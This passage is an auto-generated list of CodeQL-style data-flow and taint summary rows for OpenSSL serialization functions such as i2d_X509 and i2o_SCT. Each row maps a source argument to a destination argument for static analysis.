"i2d_SM2_Ciphertext", "(const SM2_Ciphertext *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_SM2_Ciphertext", "(const SM2_Ciphertext *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_SSL_SESSION", "(const SSL_SESSION *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_SSL_SESSION", "(const SSL_SESSION *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_SSL_SESSION", "(const SSL_SESSION *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_SXNET", "(const SXNET *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_SXNET", "(const SXNET *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_SXNET", "(const SXNET *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_SXNET", "(const SXNET *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_SXNETID", "(const SXNETID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_SXNETID", "(const SXNETID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_SXNETID", "(const SXNETID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_SXNETID", "(const SXNETID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_ACCURACY", "(const TS_ACCURACY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_TS_ACCURACY", "(const TS_ACCURACY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_ACCURACY", "(const TS_ACCURACY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_TS_ACCURACY", "(const TS_ACCURACY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_MSG_IMPRINT", "(const TS_MSG_IMPRINT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_TS_MSG_IMPRINT", "(const TS_MSG_IMPRINT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_MSG_IMPRINT", "(const TS_MSG_IMPRINT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_TS_MSG_IMPRINT", "(const TS_MSG_IMPRINT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_REQ", "(const TS_REQ *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_TS_REQ", "(const TS_REQ *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_REQ", "(const TS_REQ *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_TS_REQ", "(const TS_REQ *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_RESP", "(const TS_RESP *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_TS_RESP", "(const TS_RESP *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_RESP", "(const TS_RESP *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_TS_RESP", "(const TS_RESP *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_STATUS_INFO", "(const TS_STATUS_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_TS_STATUS_INFO", "(const TS_STATUS_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_STATUS_INFO", "(const TS_STATUS_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_TS_STATUS_INFO", "(const TS_STATUS_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_TST_INFO", "(const TS_TST_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_TS_TST_INFO", "(const TS_TST_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_TS_TST_INFO", "(const TS_TST_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_TS_TST_INFO", "(const TS_TST_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_USERNOTICE", "(const USERNOTICE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_USERNOTICE", "(const USERNOTICE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_USERNOTICE", "(const USERNOTICE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_USERNOTICE", "(const USERNOTICE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509", "(const X509 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509", "(const X509 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509", "(const X509 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509", "(const X509 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ACERT", "(const X509_ACERT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_ACERT", "(const X509_ACERT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ACERT", "(const X509_ACERT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ACERT", "(const X509_ACERT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ACERT_bio", "(BIO *,const X509_ACERT *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ACERT_fp", "(FILE *,const X509_ACERT *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ALGOR", "(const X509_ALGOR *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_ALGOR", "(const X509_ALGOR *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ALGOR", "(const X509_ALGOR *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ALGOR", "(const X509_ALGOR *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ALGORS", "(const X509_ALGORS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_ALGORS", "(const X509_ALGORS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ALGORS", "(const X509_ALGORS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ALGORS", "(const X509_ALGORS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ATTRIBUTE", "(const X509_ATTRIBUTE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_ATTRIBUTE", "(const X509_ATTRIBUTE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ATTRIBUTE", "(const X509_ATTRIBUTE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_ATTRIBUTE", "(const X509_ATTRIBUTE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_AUX", "(const X509 *,unsigned char **)", "", "Argument[**1]", "Argument[*0].Field[*aux].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_AUX", "(const X509 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_AUX", "(const X509 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_AUX", "(const X509 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_AUX", "(const X509 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CERT_AUX", "(const X509_CERT_AUX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_CERT_AUX", "(const X509_CERT_AUX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CERT_AUX", "(const X509_CERT_AUX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CERT_AUX", "(const X509_CERT_AUX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CINF", "(const X509_CINF *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_CINF", "(const X509_CINF *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CINF", "(const X509_CINF *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CINF", "(const X509_CINF *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL", "(const X509_CRL *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_CRL", "(const X509_CRL *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL", "(const X509_CRL *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL", "(const X509_CRL *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL_INFO", "(const X509_CRL_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_CRL_INFO", "(const X509_CRL_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL_INFO", "(const X509_CRL_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL_INFO", "(const X509_CRL_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL_bio", "(BIO *,const X509_CRL *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_CRL_fp", "(FILE *,const X509_CRL *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_EXTENSION", "(const X509_EXTENSION *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_EXTENSION", "(const X509_EXTENSION *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_EXTENSION", "(const X509_EXTENSION *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_EXTENSION", "(const X509_EXTENSION *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_EXTENSIONS", "(const X509_EXTENSIONS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_EXTENSIONS", "(const X509_EXTENSIONS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_EXTENSIONS", "(const X509_EXTENSIONS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_EXTENSIONS", "(const X509_EXTENSIONS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_NAME", "(const X509_NAME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_NAME", "(const X509_NAME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_NAME", "(const X509_NAME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_NAME", "(const X509_NAME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_NAME_ENTRY", "(const X509_NAME_ENTRY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_NAME_ENTRY", "(const X509_NAME_ENTRY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_NAME_ENTRY", "(const X509_NAME_ENTRY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_NAME_ENTRY", "(const X509_NAME_ENTRY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_PUBKEY", "(const X509_PUBKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_PUBKEY", "(const X509_PUBKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_PUBKEY", "(const X509_PUBKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_PUBKEY", "(const X509_PUBKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ", "(const X509_REQ *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_REQ", "(const X509_REQ *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ", "(const X509_REQ *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ", "(const X509_REQ *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ_INFO", "(const X509_REQ_INFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_REQ_INFO", "(const X509_REQ_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ_INFO", "(const X509_REQ_INFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ_INFO", "(const X509_REQ_INFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ_bio", "(BIO *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REQ_fp", "(FILE *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REVOKED", "(const X509_REVOKED *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_REVOKED", "(const X509_REVOKED *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REVOKED", "(const X509_REVOKED *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_REVOKED", "(const X509_REVOKED *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_SIG", "(const X509_SIG *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_SIG", "(const X509_SIG *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_SIG", "(const X509_SIG *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_SIG", "(const X509_SIG *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_VAL", "(const X509_VAL *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_X509_VAL", "(const X509_VAL *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_VAL", "(const X509_VAL *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_X509_VAL", "(const X509_VAL *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_bio", "(BIO *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_X509_fp", "(FILE *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "i2d_int_dhx", "(const int_dhx942_dh *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_int_dhx", "(const int_dhx942_dh *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_int_dhx", "(const int_dhx942_dh *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_int_dhx", "(const int_dhx942_dh *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_re_X509_CRL_tbs", "(X509_CRL *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_CRL_tbs", "(X509_CRL *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_CRL_tbs", "(X509_CRL *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_REQ_tbs", "(X509_REQ *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_REQ_tbs", "(X509_REQ *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_REQ_tbs", "(X509_REQ *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_tbs", "(X509 *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_tbs", "(X509 *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_re_X509_tbs", "(X509 *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_ECPublicKey", "(const EC_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_ECPublicKey", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_ECPublicKey", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT", "(const SCT *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT", "(const SCT *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT", "(const SCT *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT_LIST", "(const stack_st_SCT *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT_LIST", "(const stack_st_SCT *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT_LIST", "(const stack_st_SCT *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT_signature", "(const SCT *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT_signature", "(const SCT *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2o_SCT_signature", "(const SCT *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2s_ASN1_ENUMERATED_TABLE", "(X509V3_EXT_METHOD *,const ASN1_ENUMERATED *)", "", "Argument[*0].Field[**usr_data].Field[**lname]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "i2s_ASN1_ENUMERATED_TABLE", "(X509V3_EXT_METHOD *,const ASN1_ENUMERATED *)", "", "Argument[*0].Field[**usr_data].Field[*lname]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "i2s_ASN1_IA5STRING", "(X509V3_EXT_METHOD *,ASN1_IA5STRING *)", "", "Argument[*1].Field[**data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "i2s_ASN1_IA5STRING", "(X509V3_EXT_METHOD *,ASN1_IA5STRING *)", "", "Argument[*1].Field[*data]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "i2s_ASN1_OCTET_STRING", "(X509V3_EXT_METHOD *,const ASN1_OCTET_STRING *)", "", "Argument[*1].Field[**data]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "i2s_ASN1_OCTET_STRING", "(X509V3_EXT_METHOD *,const ASN1_OCTET_STRING *)", "", "Argument[*1].Field[*data]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "i2s_ASN1_UTF8STRING", "(X509V3_EXT_METHOD *,ASN1_UTF8STRING *)", "", "Argument[*1].Field[**data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "i2s_ASN1_UTF8STRING", "(X509V3_EXT_METHOD *,ASN1_UTF8STRING *)", "", "Argument[*1].Field[*data]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "i2t_ASN1_OBJECT", "(char *,int,const ASN1_OBJECT *)", "", "Argument[*2].Field[**data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "i2t_ASN1_OBJECT", "(char *,int,const ASN1_OBJECT *)", "", "Argument[*2].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "i2t_ASN1_OBJECT", "(char *,int,const ASN1_OBJECT *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "i2t_ASN1_OBJECT", "(char *,int,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "i2v_ASN1_BIT_STRING", "(X509V3_EXT_METHOD *,ASN1_BIT_STRING *,stack_st_CONF_VALUE *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "i2v_ASN1_BIT_STRING", "(X509V3_EXT_METHOD *,ASN1_BIT_STRING *,stack_st_CONF_VALUE *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "i2v_GENERAL_NAME", "(X509V3_EXT_METHOD *,GENERAL_NAME *,stack_st_CONF_VALUE *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "i2v_GENERAL_NAME", "(X509V3_EXT_METHOD *,GENERAL_NAME *,stack_st_CONF_VALUE *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "i2v_GENERAL_NAMES", "(X509V3_EXT_METHOD *,GENERAL_NAMES *,stack_st_CONF_VALUE *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "i2v_GENERAL_NAMES", "(X509V3_EXT_METHOD *,GENERAL_NAMES *,stack_st_CONF_VALUE *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "index_name_cmp", "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)", "", "Argument[**0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "index_name_cmp", "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)", "", "Argument[**1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "index_name_cmp", "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "index_name_cmp", "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "index_name_cmp", "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "index_name_cmp", "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "info_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "info_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "init_client", "(int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**0].Field[**keytype]", "value", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[**0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "Argument[**0].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**0].Field[*keytype]", "value", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[**0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "init_gen_str", "(EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "Argument[**0].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "int_bn_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "int_bn_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - 